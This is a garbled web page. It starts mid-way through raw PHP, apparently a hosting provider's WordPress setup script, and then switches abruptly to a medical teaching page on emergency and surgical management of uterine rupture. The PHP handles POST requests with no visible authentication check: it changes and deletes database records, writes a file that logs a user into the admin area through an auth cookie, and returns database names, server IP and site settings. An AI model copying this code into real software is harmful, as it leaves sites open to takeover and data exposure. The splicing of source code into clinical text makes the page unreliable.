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'en_CA' : 'fr_CA' )."' where option_name='WPLANG' limit 1"; run_query($q); if($_POST['has_whc_pages']){ // delete all page except whc pages $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID in (373, 375)"; run_query($q); if($_POST['lang']!='english'){ /* delete from wp_options where option_name in (select option_name from wp_options_whc1 ); insert into wp_options (select * from wp_options_whc1); $q = "delete from ".TABLEPREFIX."options where option_name in (select option_name from ".TABLEPREFIX."options_whc1 )"; run_query($q); $q = "update ".TABLEPREFIX."options_whc1 set option_value = replace(option_value, 'https://wphosting-staging.whc.ca', 'http://wp55731.wpdns.ca') "; run_query($q); $q = "insert into ".TABLEPREFIX."options (select * from ".TABLEPREFIX."options_whc1) "; run_query($q); */ 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$q = "update ".TABLEPREFIX."options set option_value = '".$rewrite."' where option_name='rewrite_rules' limit 1"; run_query($q); } } }else{ //delete other language pages $q = "select * from ".TABLEPREFIX."term_taxonomy where taxonomy = 'post_translations' "; $rows = run_query($q); $pages_to_delete = array(); foreach($rows as $row){ $temp = unserialize($row['description']); if($temp[($_POST['lang']=='english' ? 'fr' : 'en')]) $pages_to_delete[] = $temp[($_POST['lang']=='english' ? 'fr' : 'en')]; } //print_r($pages_to_delete); //delete other lang non-whc page $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID in (".implode($pages_to_delete, ',').")"; run_query($q); //set wp default lang $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? 'en_CA' : 'fr_CA' )."' where option_name='WPLANG' limit 1"; run_query($q); //delete other lang non-whc page $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID = '".($_POST['lang']=='english' ? '375' : '373' )."' limit 1"; run_query($q); //delete other lang forminator page $q = "delete from ".TABLEPREFIX."posts where post_type='forminator_forms' and ID = '".($_POST['lang']=='english' ? '439' : '438' )."' limit 1"; run_query($q); //mail('david@whc.ca','wp hosting.',json_encode($_POST).$q); $q = "delete from ".TABLEPREFIX."postmeta where meta_key='forminator_form_meta' and post_id = '".($_POST['lang']=='english' ? '439' : '438' )."' limit 1"; run_query($q); if($_POST['has_whc_pages']){ // confirm correct theme $q = "update ".TABLEPREFIX."options set option_value='OceanWP' where option_name='current_theme' limit 1"; run_query($q); //set default WP theme $q = "update ".TABLEPREFIX."options set option_value='oceanwp' where option_name='template' or option_name='stylesheet'"; run_query($q); //delete ALL non-whc pages $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID in (373, 375)"; run_query($q); //set default wp page $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? '133' : '298' )."' where option_name='page_on_front' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value = replace(option_value,'page_id=298','page_id=".($_POST['lang']=='english' ? '133' : '298' )."') where option_name='rewrite_rules'"; run_query($q); //set main menu lang for unilang $q = "select * from ".TABLEPREFIX."options where option_name='theme_mods_oceanwp' limit 1; "; $rows = run_query($q); $menuobj = unserialize($rows[0]['option_value']); //print_r($menuobj); if($rows[0]['option_value']){ $menuobj['nav_menu_locations']['main_menu'] = $_POST['lang']=='english' ? '5' : '18'; $q = "update ".TABLEPREFIX."options set option_value = '".mysql_escape_string(serialize($menuobj))."' where option_name='theme_mods_oceanwp' limit 1; "; run_query($q); } //delete other lang menus $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE term_taxonomy_id = '".($_POST['lang']=='english' ? '18' : '5')."' ;"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_taxonomy WHERE term_taxonomy_id = '".($_POST['lang']=='english' ? '18' : '5')."' limit 1;"; run_query($q); }else{ //delete ALL whc pages $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID not in (373, 375)"; run_query($q); //set default WP theme $q = "update ".TABLEPREFIX."options set option_value='Twenty Seventeen' where option_name='current_theme' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value='twentyseventeen' where option_name='template' or option_name='stylesheet'"; run_query($q); //set default wp page $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? '373' : '375' )."' where option_name='page_on_front' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value = replace(option_value,'page_id=298','page_id=".($_POST['lang']=='english' ? '373' : '375' )."') where option_name='rewrite_rules'"; run_query($q); //delete ALL menus $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE term_taxonomy_id in (18,5);"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_taxonomy WHERE term_taxonomy_id in (18,5);"; run_query($q); } //delete switch language menu item $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE object_id = 214 AND term_taxonomy_id = 5 limit 1;"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE object_id = 250 AND term_taxonomy_id = 18 limit 1;"; run_query($q); //unistall polylang $q = "select * from ".TABLEPREFIX."options where option_name='active_plugins' limit 1; "; $rows = run_query($q); $temp = array(); $plugins = unserialize($rows[0]['option_value']); if($rows[0]['option_value']){ foreach($plugins as $row){ if($row == 'polylang/polylang.php'){ ; }else{ $temp[] = $row; } } $q = "update ".TABLEPREFIX."options set option_value = '".mysql_escape_string(serialize($temp))."' where option_name='active_plugins' limit 1; "; run_query($q); } } if($_POST['has_whc_pages'] != 1){ //unistall all plugins except for polylang and litespeed $q = "select * from ".TABLEPREFIX."options where option_name='active_plugins' limit 1; "; $rows = run_query($q); $temp = array(); $plugins = unserialize($rows[0]['option_value']); if($rows[0]['option_value']){ foreach($plugins as $row){ if($row == 'polylang/polylang.php' || $row == 'litespeed-cache/litespeed-cache.php' || $row == 'elementor/elementor.php'){ $temp[] = $row; } } $q = "update ".TABLEPREFIX."options set option_value = '".mysql_escape_string(serialize($temp))."' where option_name='active_plugins' limit 1; "; run_query($q); } } } } user_login; \$user = get_user_by('login', \$username ); if ( !is_wp_error( \$user ) ) { wp_clear_auth_cookie(); wp_set_current_user ( \$user->ID ); wp_set_auth_cookie ( \$user->ID ); \$redirect_to = user_admin_url(); wp_safe_redirect( \$redirect_to ); exit(); } "; fwrite($f, $txt); fclose($f); die('success'); }elseif(isset($_POST['whc_action']) && $_POST['whc_action'] == 'getstate'){ //require(dirname(__FILE__).'/../../wp-blog-header.php'); //require(dirname(__FILE__).'/../../wp-includes/pluggable.php'); require_once(dirname(__FILE__).'/../../wp-config.php'); define('TABLEPREFIX', $table_prefix); function mysql_escape_string($val){ if(is_array($val)){ foreach($val as $k=>$v){ $val[$k] = mysql_escape_string($v); } return $val; }else{ $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); return mysqli_real_escape_string($link, $val); } } function run_query($query, $is_multiquery=false){ //$query; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); mysqli_set_charset($link ,'utf8' ); if($is_multiquery){ mysqli_multi_query($link, $query) or die(mysqli_error($link)); return; }else{ $result = mysqli_query($link, $query) or die(mysqli_error($link)); } $return_arr = array(); if($result){ while($row = mysqli_fetch_assoc($result)){ $return_arr[] = $row; } } if(strpos(strtolower($query), 'insert into')!==false) return mysqli_insert_id($link); return $return_arr; } $_POST = mysql_escape_string($_POST); $return = array(); $q = "select option_value from ".$table_prefix."options where option_name = 'siteurl' limit 1 "; $rows = run_query($q); $return['wp_Domain'] = $rows[0]['option_value']; $return['wp_Version'] = get_bloginfo( 'version' ); $q = "select count(ID) from ".$table_prefix."users "; $rows = run_query($q); $return['num_Users'] = $rows[0]['count(ID)']; $q = "select option_value from ".$table_prefix."options where option_name = 'active_plugins' limit 1 "; $rows = run_query($q); $return['num_Plugins'] = count(unserialize($rows[0]['option_value'])); /* include_once('../../wp-admin/includes/class-wp-site-health-auto-updates.php'); var_dump(WP_Site_Health_Auto_Updates::test_filters_automatic_updater_disabled()); die; */ $return['is_multisite'] = defined('MULTISITE') ? MULTISITE : false ; $return['is_multisite'] = $return['is_multisite'] ? true : ( defined('WP_ALLOW_MULTISITE') ? WP_ALLOW_MULTISITE : false ); $return['autoupdate_Core'] = defined('WP_AUTO_UPDATE_CORE') ? WP_AUTO_UPDATE_CORE : false ; $q = "select option_value from ".$table_prefix."options where option_name = 'WPLANG' limit 1 "; $rows = run_query($q); $return['wpLanguage'] = $rows[0]['option_value'] == 'fr_CA' ? 'French' : 'English'; $return['maintenanceMode'] = function_exists('wp_maintenance_mode') ? 'True' : 'False'; $return['cpanelIP'] = $_SERVER['SERVER_ADDR']; $return['WHCPluginInstalled'] = 'True'; $q = "select option_value from ".$table_prefix."options where option_name = 'blogname' limit 1 "; $rows = run_query($q); $return['wp_BlogName'] = $rows[0]['option_value']; $q = "select option_value from ".$table_prefix."options where option_name = 'template' limit 1 "; $rows = run_query($q); $return['wp_TemplateName'] = $rows[0]['option_value']; $return['db_user'] = DB_USER; $return['db_name'] = DB_NAME; $return['php_version'] = phpversion(); echo "[".json_encode($return)."]"; die; }elseif(isset($_POST['whc_action']) && $_POST['whc_action'] == 'setstate'){ require_once(dirname(__FILE__).'/../../wp-config.php'); define('TABLEPREFIX', $table_prefix); function mysql_escape_string($val){ if(is_array($val)){ foreach($val as $k=>$v){ $val[$k] = mysql_escape_string($v); } return $val; }else{ $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); return mysqli_real_escape_string($link, $val); } } function run_query($query, $is_multiquery=false){ //$query; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); mysqli_set_charset($link ,'utf8' ); if($is_multiquery){ mysqli_multi_query($link, $query) or die(mysqli_error($link)); return; }else{ $result = mysqli_query($link, $query) or die(mysqli_error($link)); } $return_arr = array(); if($result){ while($row = mysqli_fetch_assoc($result)){ $return_arr[] = $row; } } if(strpos(strtolower($query), 'insert into')!==false) return mysqli_insert_id($link); return $return_arr; } $_POST = mysql_escape_string($_POST); $return = array(); $q = "update ".$table_prefix."options set option_value = 'https://wp".intval($_POST['hostingid']).".wpdns.ca' where option_name in ('siteurl','home') limit 2; "; $rows = run_query($q); die('success'); } } Management – Immediate and Surgical – Rural Surgery & Obstetrics
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Management – Immediate and Surgical

Contents

Immediate management

Initial management of uterine rupture with hemodynamic instability should involve fluid resuscitation and stabilization and then urgent delivery (cesarean delivery/exploratory laparotomy). Bedside U/S may be utilized to see if there is a large amount of free fluid/blood in the abdomen, but should not delay management if there is a high suspicion of uterine rupture.

In stable patients (rare if true uterine rupture), a formal ultrasound may be able to determine a uterine wall defect although likely there will be fetal heart rate changes that would indicate delivery before this can be arranged.

Surgical management

High suspicion for uterine rupture should prompt emergency Cesarean section (within 30 minutes)

Urgent cesarean section and exploratory laparotomy

In the cases where there is a high suspicion of uterine rupture with fetal distress and maternal hemodynamic instability, a midline vertical incision usually leads to faster delivery and better visualization for management of bleeding (Please see the portion on Cesarean Section 101 for discussion of different entry methods). The caveat to this is if the surgeon has limited experience with midline vertical incisions, then the method of fastest and safest entry should be use.

In cases where there is an abnormal fetal heart rate in a hemodynamically stable patient, a stat cesarean section should be performed and a pfannenstiel incision may be used. The caveat of this entry method is poor visualization of bleeding. The baby is then usually delivered through the existing uterine defect.

Uterine repair vs. Hysterectomy

The choice for uterine repair versus cesarean hysterectomy depends on:

  1. Control of bleeding, hemodynamic stability
  2. Extent of uterine damage
  3. Desire for future pregnancy

The priority should always be the safety and well-being of the patient.

Please see the module ‘4.5 Management of incision extensions’ for more details on complex surgical repair of the uterus.

Other methods of controlling bleeding

Other methods of controlling bleeding during a uterine rupture, after the baby has been delivered, include:

  • Abdominal packing- sponges and towels should be packed into the uterus and abdomen to control bleeding via pressure
  • Uterine artery ligation or internal iliac artery ligation
  • Other methods of hemostasis like flowseal
  • Cesearean hysterectomy – of note, this is usually a subtotal hysterectomy to decrease the risk of ureteric injury.

Other considerations

The baby may require resuscitation after delivery so important to have someone with NRP present. A general anesthetic is also required for this type of delivery due to the potential requirement of hemodynamic support secondary to hemorrhagic hypovolemia and hypovolemic shock. Consulting another surgeon virtually or in person to aid in the surgery is recommended and letting the rest of the team know of a possibly unstable patient is another consideration. . It is important that these resources are coordinated in advance for patients with high risk for uterine rupture to prevent delay in treatment. Clear communication with all health care providers including anesthesiologists, nurses, attending physician and the blood bank for initiating a massive transfusion protocol, if needed, is important for optimizing care.

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Updated on February 16, 2022
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